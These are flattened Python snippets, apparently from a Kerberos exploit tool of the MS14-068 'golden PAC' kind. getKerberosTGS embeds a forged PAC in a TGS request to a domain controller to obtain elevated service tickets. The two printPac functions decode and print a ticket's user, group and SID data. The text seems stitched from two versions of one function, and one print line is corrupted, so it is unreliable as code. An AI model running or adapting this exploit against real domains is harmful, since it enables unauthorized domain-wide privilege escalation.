def printPac(self, data): encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0] adIfRelevant = decoder.decode( encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0] # So here we have the PAC pacType = PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) buff = pacType['Buffers'] for bufferN in range(pacType['cBuffers']): infoBuffer = PAC_INFO_BUFFER(buff) data = pacType['Buffers'][infoBuffer['Offset'] - 8:][:infoBuffer['cbBufferSize']] if logging.getLogger().level == logging.DEBUG: print("TYPE 0x%x" % infoBuffer['ulType']) if infoBuffer['ulType'] == 1: type1 = TypeSerialization1(data) # I'm skipping here 4 bytes with its the ReferentID for the pointer newdata = data[len(type1) + 4:] kerbdata = KERB_VALIDATION_INFO() kerbdata.fromString(newdata) kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):]) kerbdata.dump() print() print('Domain SID:', kerbdata['LogonDomainId'].formatCanonical()) print() elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE: clientInfo = PAC_CLIENT_INFO(data) if logging.getLogger().level == logging.DEBUG: clientInfo.dump() print() elif infoBuffer['ulType'] == PAC_SERVER_CHECKSUM: signatureData = PAC_SIGNATURE_DATA(data) if logging.getLogger().level == logging.DEBUG: signatureData.dump() print() elif infoBuffer['ulType'] == PAC_PRIVSVR_CHECKSUM: signatureData = PAC_SIGNATURE_DATA(data) if logging.getLogger().level == logging.DEBUG: signatureData.dump() print() elif infoBuffer['ulType'] == PAC_UPN_DNS_INFO: upn = UPN_DNS_INFO(data) if logging.getLogger().level == logging.DEBUG: upn.dump() print(data[upn['DnsDomainNameOffset']:]) print() else: hexdump(data) if logging.getLogger().level == logging.DEBUG: print("#" * 80) buff = buff[len(infoBuffer):]
def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher, sessionKey, authTime): # Get out Golden PAC goldenPAC = self.getGoldenPAC(authTime) decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) # Now put the goldenPac inside the AuthorizationData AD_IF_RELEVANT ifRelevant = AD_IF_RELEVANT() ifRelevant[0] = None ifRelevant[0]['ad-type'] = int( constants.AuthorizationDataType.AD_IF_RELEVANT.value) ifRelevant[0]['ad-data'] = goldenPAC encodedIfRelevant = encoder.encode(ifRelevant) # Key Usage 4 # TGS-REQ KDC-REQ-BODY AuthorizationData, encrypted with # the TGS session key (Section 5.4.1) encryptedEncodedIfRelevant = cipher.encrypt(sessionKey, 4, encodedIfRelevant, None) tgsReq = TGS_REQ() reqBody = seq_set(tgsReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.SystemRandom().getrandbits(31) seq_set_iter(reqBody, 'etype', (cipher.enctype, )) reqBody['enc-authorization-data'] = None reqBody['enc-authorization-data']['etype'] = int(cipher.enctype) reqBody['enc-authorization-data'][ 'cipher'] = encryptedEncodedIfRelevant apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = None apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = None tgsReq['padata'][0] = None tgsReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = False encodedPacRequest = encoder.encode(pacRequest) tgsReq['padata'][1] = None tgsReq['padata'][1]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) tgsReq['padata'][1]['padata-value'] = encodedPacRequest message = encoder.encode(tgsReq) r = sendReceive(message, domain, kdcHost) # Get the session key tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] cipherText = tgs['enc-part']['cipher'] # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key (Section 5.4.2) plainText = cipher.decrypt(sessionKey, 8, str(cipherText)) encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] newSessionKey = Key(cipher.enctype, str(encTGSRepPart['key']['keyvalue'])) return r, cipher, sessionKey, newSessionKey
def printPac(self, data, human=True): encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0] adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[ 0] # So here we have the PAC pacType = PACTYPE(bytes(adIfRelevant[0]['ad-data'])) buff = pacType['Buffers'] for bufferN in range(pacType['cBuffers']): infoBuffer = PAC_INFO_BUFFER(buff) data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']] if logging.getLogger().level == logging.DEBUG: print("TYPE 0x%x" % infoBuffer['ulType']) if infoBuffer['ulType'] == 1: type1 = TypeSerialization1(data) # I'm skipping here 4 bytes with its the ReferentID for the pointer newdata = data[len(type1)+4:] kerbdata = KERB_VALIDATION_INFO() kerbdata.fromString(newdata) kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):]) kerbdata.dump() print() # # If human is true, print human-friendly version # # if not, just do the raw dump if human: print() print('Username:'******'EffectiveName']) print('Domain SID:', kerbdata['LogonDomainId'].formatCanonical()) print('UserId:', kerbdata['UserId']) print('PrimaryGroupId', kerbdata['PrimaryGroupId']) print('Member of groups:') for group in kerbdata['GroupIds']: print(' -> %d (attributes: %d)' % (group['RelativeId'], group['Attributes'])) print('LogonServer: ', kerbdata['LogonServer']) print('LogonDomainName: ', kerbdata['LogonDomainName']) print() print('Extra SIDS:') for sid in kerbdata['ExtraSids']: print(' -> ', sid['Sid'].formatCanonical()) if kerbdata['ResourceGroupDomainSid']: print('Extra domain groups found! Domain SID:') print(kerbdata['ResourceGroupDomainSid'].formatCanonical()) print('Relative groups:') for group in kerbdata['ResourceGroupIds']: print(' -> %d (attributes: %d)' % (group['RelativeId'], group['Attributes'])) elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE: clientInfo = PAC_CLIENT_INFO(data) if logging.getLogger().level == logging.DEBUG: clientInfo.dump() print() elif infoBuffer['ulType'] == PAC_SERVER_CHECKSUM: signatureData = PAC_SIGNATURE_DATA(data) if logging.getLogger().level == logging.DEBUG: signatureData.dump() print() elif infoBuffer['ulType'] == PAC_PRIVSVR_CHECKSUM: signatureData = PAC_SIGNATURE_DATA(data) if logging.getLogger().level == logging.DEBUG: signatureData.dump() print() elif infoBuffer['ulType'] == PAC_UPN_DNS_INFO: upn = UPN_DNS_INFO(data) if logging.getLogger().level == logging.DEBUG: upn.dump() print(data[upn['DnsDomainNameOffset']:]) # print else: hexdump(data) if logging.getLogger().level == logging.DEBUG: print("#"*80) buff = buff[len(infoBuffer):]